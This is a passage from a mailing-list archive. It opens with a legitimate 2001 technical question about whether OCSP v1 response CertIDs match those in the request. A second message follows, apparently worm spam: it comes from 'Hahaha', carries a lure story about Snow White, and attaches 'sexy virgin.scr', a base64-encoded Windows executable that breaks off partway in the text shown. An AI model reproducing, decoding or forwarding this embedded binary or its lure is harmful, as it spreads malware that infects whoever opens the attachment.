X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 14/03/2001 12:26:18 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

All,

Another OCSP (v1) question:  Can a client assume that the OCSP response
CertID terms will precisely match those from the request?  That is, can it
assume
1 - that every certificate in the request will be in the response (i.e.
it's a server error otherwise)
2 - that the hashing algorithm in the response CertIDs will be the same as
that which was used in the request (that is, the CertID data will match
byte-for-byte between request and response).

I guess given the variety of identifiers available alongside CertID in OCSP
v2 that the issue of matching identifiers between request and response
raised in point 2 above will be even more critical there.  But that's for
other people to worry about - it's v1 I'm interested in for now.

Thanks,

Jonathan
----------------
Dr Jonathan Tuliani
www.symbian.com



**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************


Received: from gate1 (gate1.fcpl.co.in [196.1.104.171]) by above.proper.com (8.9.3/8.9.3) with SMTP id BAA23879 for <[e-mail]>; Wed, 14 Mar 2001 01:26:06 -0800 (PST)
Date: Wed, 14 Mar 2001 01:26:06 -0800 (PST)
Message-Id: <[e-mail]>
From: Hahaha <[e-mail]>
Subject: Snowhite and the Seven Dwarfs - The REAL story!
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="--VEIFKPA7CPQ78LIVGPYN"

----VEIFKPA7CPQ78LIVGPYN
Content-Type: text/plain; charset="us-ascii"

Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and
polite with Snowhite. When they go out work at mornign, they promissed a 
*huge* surprise. Snowhite was anxious. Suddlently, the door open, and the Seven
Dwarfs enter...


----VEIFKPA7CPQ78LIVGPYN
Content-Type: application/octet-stream; name="sexy virgin.scr"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="sexy virgin.scr"

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
QAWulG3Wv80u1PS2QAezpG/bz88z5Pa7UAWupG3Wz80u5PS2UAeztG/b388z9Pa7YAWutG3W380u
9PS2YD/zH597b0Tkig5dVn+2udw/8x9v8XPPK/j2kmC3LLfUi/J55ntrzyv09pJctyy3xIvyaeZ7
a88r8PaSWLcst7SL8lnme2vPK+z2klS3LLeki/JJ5ntrzyvo9pJQtyy3lIvyOeV7a88r5PaSTLcs
t4SL8inle2vPK+D2kki3LLd0i/IZ5Xtrzyvc9pJEtyxUZvhqROOL8gXle2vPK9j2kkC3LFRm5GpE
44vy8eV7a88r1PaSPLcsVGbQakTji/Ld5XtrzyvQ9pI4tyxUZrxqROOL8snle2vPK8z2kjS3LFRm
qGpE44vyteV7a88ryPaSMLcsVGaUakTji/Kh5XtrzyvE9pIstyxUZoBqROOL8o3le2vPK8D2kii3
LFRmbGpE44vyeeV7a88rvPaSJLcsVGZYakTji/Jl5Xtrzyu49pIgtyxUZkRqROOL8lHle2vPK7T2
khy3LFRmMGpE44vyPeR7a88rsPaSGLcsVGYcakTji/Ip5Htrzyus9pIUtyxUZghqROOL8hXke2vP
K6j2khC3LFRm9GlE44vyAeR7a88rpPaSDLcsVGbgaUTji/Lt5Htrzyug9pIItyxUZsxpROOL8tnk
e2vPK5z2kgS3LFRmuGlE44vyxeR7a88rmPaSALcsVGakaUTj89zPK5T2kvy2LFRmlGlE4/PMzyuQ
9pL4tixUZoRpROPzvM8rjPaS9LYsVGZ0aUTj86zPK4j2kvC2LFRmZGlE4/OczyuE9pLstixUZlRp
ROPzjM8rgPaS6LYsVGZEaUTj83zP6wZ6f6WL7f7he2u85wJH1W+C9pLopHJdM4D2iuwGulD9wnNd
M4j2ivQGulj9wntdM5D2ivwGumD9woNdM5j2igQHumj9wotdM6D2igwHunD9wpNdM6j2ihQHunj9
wptdM7D2ihwHuoD9wqNdM7j2iiQHuoj9wqtdM8D2iiwHupD9wrNdM8j2ijQHupj9wrtdM9D2ijwH
uqD9wsNdM9j2ikQHuqj9wstdM+D2ikwHurD9wtNdM+j2ilQHurj9wttdM/D2ilwHusD9wuNdM/gu
Let7a0SgnO780WfUqEt7okTk39LNCnxrpMxtYkTjBRFy93trrvTalitvQMOYNHvgaCx7AUH3e2uc
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
Z2bsLBVka0RnQ3THqoymNlaC7DJkfGtExmXFz+if7C5kfGtENs27zyaM9p74BrZcb/aHLOt4a0QX
9oej8wAEReR7nob0ivDT5Htrdz6QeslqfGtEF8aDU2n5a0Tk/FguwXtrmkh7nahtnb+Jc8FrrvTP
ahxBZ3MAtXXeRM+IU1jMe2sLafaNRORz0KtzgmtEQQOwaAAFyGj0BLho/ATgaOgGdCfmZp/PGKC7
xdB8bUTkz1PL23tr0jCgbPzke2xEzJZrROT8L0Xme2vP3NT0fG3Eb/3ke2xE1yBlpqaAa5U0ZKdE
5HsupTinWJlOgMBDWKCfmTlkCCzje2vay59rRHVffJVObb1DeXePROR6AUQHfGucRT5wRE58uyzl
e2tEp9xTtMt7a3Dje+BoDHvgaAzT1Ug75mpEeT+PROQALLn3BLBo/HrgaAjTwq7my2raq59rRG3A
j2BFPnREROaLLJBya0RFPnBERGSUK+N7a7kIpOwxGVhrROPwj2zj0WtDOZDMBux7013P5YQaXCOv
TeLE/2u+mGX6/kt0Iam3fy9aXewjpDtX2dE4qlyIkEb+wPrXaRK5yHxKQ4TbwxOMjJlFWvJiaxNm
QXw+ekQ0yBwtXp0AJlyWJl+Qr6d2ax34d/ipzdT4N5a398KqJtJIizMfHXK3j6U0kXMrRXh85eK1
dSuxXHMrpVJzK+VTcysKn3QreFhzK1I8cyu3uXUr8FpzK0JXcyt/4HMr2/tzK4FMcytdUHMrvlhz
K0s8cyv4oHMrXFxzKxtRcyvyUHMrSS1zK8v0dCvvwHUr87N0K4LJdCu0KnUrpWVof0Xke/YACLNs
ROSmK5xO3MQ3j9tTWMp7a80pjOwx52FrRGzBa8+4072WzCRhRONk2UDje99iQ/8yUTh7AT/te2tC
KXzrweSb3R9laFlD43vNBuh7acr3YWtEa7iP2o8PF9aPewEz7XtrL7rcUwDJe2uaZWmMMON7VFLk
e2uhWcZTX+R7a7jO8aosTnxquQi0arkItGq5CLRqmuQGRIinewFF+HtrSbFUa0SnNcwsXmFrRDn9
MCH3e2sssHtrREHxdCy9e2tEWGZl9dwFsGgA3S1R5HfDrudjsETke6yGJ8CwiivEtI4vyLiSM8y8
ljfQwJo71MSeRd7OqEni0qxN5tawUeratFXu3rhZ8uK8XfabdRavn3kas6N9D6trROR7xp19BcBP
IXNd0KzOGJNvTFSC5HtrLDp8a0TM2mtE5F1XnsedGI5Yi3r7tGSOROR7U4Dke2sv7oohFcyPa0Tk
vKz0IW8W/fGFa0RKJ8Vv3QM7CMyCa0TkY3RE5Hsu0KY9VEfPmvYGpFxwBNCAdQjPbvcGpWR0BMR+
KzHqZlvQpj1UVQi7Qu9vv6uEbb+rpE7IxN3bbfEWRfFxqpyJdaqPP8wsSmBrRGwJaV7ke1RM2Htr
pU581UVOflOUyHtrRHlsf0TkBkSF8/+TRuR7vsXQfGxE5AZo0Jigk0XkexdxJPFm/Vfp37SPsMju
zFlRRONfjjeIDRaZ4xFkWOR7/Mmt8X2YZT2KUAGYnJAIgGra3I9rRHX9V0Xje2vKrYvv7OV7a88l
iGM6einePzanRpg3zNNG5HuEz8Dme5fj8I9g4xFQWOR77jDUASyf8wAFRuR77DCLfWtEb2jU6+V7
a5njMJDz5XtrLMV5a0Tz/d5F5HvA/OWCeE1MfGxE5AZpei2+rIqPqZN8JssV0NvSU8DHe2tEeVR/
ROQALLrrY5gp43tvPUo0eU5KJ8lv4WRFReR71UqrwWuWN8G/CymAeE7ke8osp3xrRJyAakzqBmlK
Lb6sio+x2Ev/ftVTj7HYwFbvFnpXs5WAj9tT4eR7a/x/Af3eb3mZjSa9se8Z7oJjUifsOEziFtCY
oDpG5HtTAMh7ayjmbhB6Aq2wfo/LlkHM4mtE5OVxxVl84bhI3dELKYB4TkNktkTke8DPmKBCRuR7
U8zIe2so+MzBQ5igHkbke1N84XtrVGYDbETk2NVJq8FrUe6peKqrwW9O5NpTXeR7a67q/OBER9zk
uEpDsUjxhcqZnK+geARncfwWsZtkOWTkJuN79cnQo2tEQdPAQ5igHkbke1Mo4HtrtxvkEkbke8BD
mKAeRuR7U9Pge2u3B/3oRAT/IzJZli6v5M/VQ05+U6XZe2udPNVOVFaJ/C0semtEQf0v7OV7aywC
XmtE4xFgWOR7zAbse8ss8l1rRE6GU23ke2u7rnIQs6poL6mzcFmu0Uj0ltFZBazKSBqU0VL0h9tZ
